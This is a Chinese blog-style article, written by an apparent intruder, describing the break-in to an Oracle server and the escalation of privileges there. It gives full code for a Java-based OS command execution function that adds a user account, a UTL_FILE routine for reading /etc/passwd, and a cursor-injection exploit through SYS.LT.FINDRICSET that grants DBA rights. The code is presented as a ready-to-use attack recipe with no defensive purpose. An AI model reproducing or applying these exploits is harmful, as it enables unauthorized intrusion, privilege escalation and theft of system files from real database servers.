入侵Oracle服务器进一步获取权限

很快便连接上Oracle服务器，此时发现： 1.连接后不是dba权限 2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限 3.运行SELECT UTL_HTTP.request（‘http://xxxxxxxxxxx/login.jsp’） FROM dual 后发现oracle服务器不能连接网络。幸运的是，运行 create or replace function Linx_Query （p varchar2） return number authid current_user is begin execute immediate p; return 1;end; 成功！这个用户具有create proceduce权限。此时马上想到创建java扩展执行命令： create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD（String args） {try{BufferedReader myReader= new BufferedReader（new InputStreamReader（ Runtime.getRuntime（）.exec（args）.getInputStream（）））; String stemp,str=”";while （（stemp = myReader.readLine（））！= null） str +=stemp+” “;myReader.close（）;return str;} catch （Exception e）{return e.toString（）;}}} begin dbms_java.grant_permission（‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ ）;end; create or replace function LinxRunCMD（p_cmd in varchar2） return varchar2 as language java name ‘LinxUtil.runCMD（java.lang.String） return String’ select * from all_objects where object_name like ‘%LINX%’ grant all on LinxRunCMD to public select LinxRunCMD（‘cmd /c net user linx /add’） from dual 但是在第一步就卡住了，服务器由于某种未知原因不能创建java扩展！！还好，我们还有UTL库可以利用： create or replace function LinxUTLReadfile （filename varchar2） return varchar2 is fHandler UTL_FILE.FILE_TYPE; buf varchar2（4000）; output varchar2（8000）; BEGIN fHandler := UTL_FILE.FOPEN（‘UTL_FILE_DIR’, filename, ‘r’）; loop begin utl_file.get_line（fHandler,buf）; DBMS_OUTPUT.PUT_LINE（‘Cursor: ‘||buf）; exception when no_data_found then exit; end; output := output||buf||chr（10）; end loop; UTL_FILE.FCLOSE（fHandler）; return output; END; UTL_FILE_DIR需要先用： CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’; 指定目。但运行后发现没有权限。只好想办法提权。 ***************游标注射*************** 老外写了N个pdf介绍这技术，我精简了代码： DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE（MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0）; DBMS_OUTPUT.PUT_LINE（‘Cursor: ‘||MYC）; BEGIN SYS.LT.FINDRICSET（‘.”||dbms_sql.execute（ ‘||MYC||’ ）||””）–’,"x’）; END; raise NO_DATA_FOUND; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE（‘Cursor: ‘||MYC）; WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE（‘Cursor: ‘||MYC）; END; 运行后重新连接就有dba权限了，简单吧…… 现在可以读取文件了： CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’; select LinxUTLReadfile（‘passwd’） from dual 后面就简单了，不写了。企业级Linux误删除数据恢复技术Oracle merge into用法及例子相关资讯 oracle

[INS-32052] Oracle基目录和Oracle （07/22/2014 07:41:41）
Oracle 4个大对象（lobs）数据类型（02/03/2013 12:33:05）
Oracle按时间段分组统计（07/26/2012 10:36:48）

[Oracle] dbms_metadata.get_ddl的（07/12/2013 07:37:30）
Liferay Portal 配置使用Oracle和（07/31/2012 20:07:18）
Concurrent Request:Inactive （07/20/2012 07:44:05）

本文评论查看全部评论（0）

表情：姓名：匿名字数

<button class="layui-btn layui-bg-purple" id="dofav">收藏该网址</button>
        </div>
    </div>
</div>
<div class="copyright">
    <div id="footbar">
        版权所有©石家庄振强科技有限公司2024 <a href="https://beian.miit.gov.cn" target="_blank">冀ICP备08103738号-5</a> <a href="/storage/sitemap.xml">网站地图</a>
    </div>
</div>
<script> var _mtj = _mtj || [];
(function () {
    var mtj = document.createElement("script");
    mtj.src = "https://node12.aizhantj.com:21233/tjjs/?k=p2tceukth5c";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(mtj, s);
})(); </script>
<script src="/static/lib/layui/layui.js"></script>
<script src="/static/lib/jquery/jquery.js"></script>
<script src="/static/lib/ajax.js"></script>
<script>
    layui.use(function () {
        var layer = layui.layer;
        var $ = layui.jquery;
        $("#dofav").click(function () {
            var artid = $(".article").attr("artid");
            var params={
                artid:artid,
                addtype:'escdns_article',
                t:Math.random()
            };
            if(artid>0){
                ajax.request({
                    method: "/index/article/addfavorite", type: "post", callback: function (res) {
                        layer.msg(res.msg);
                    }
                },params);
            }
        })
    })
</script>
</body>
</html>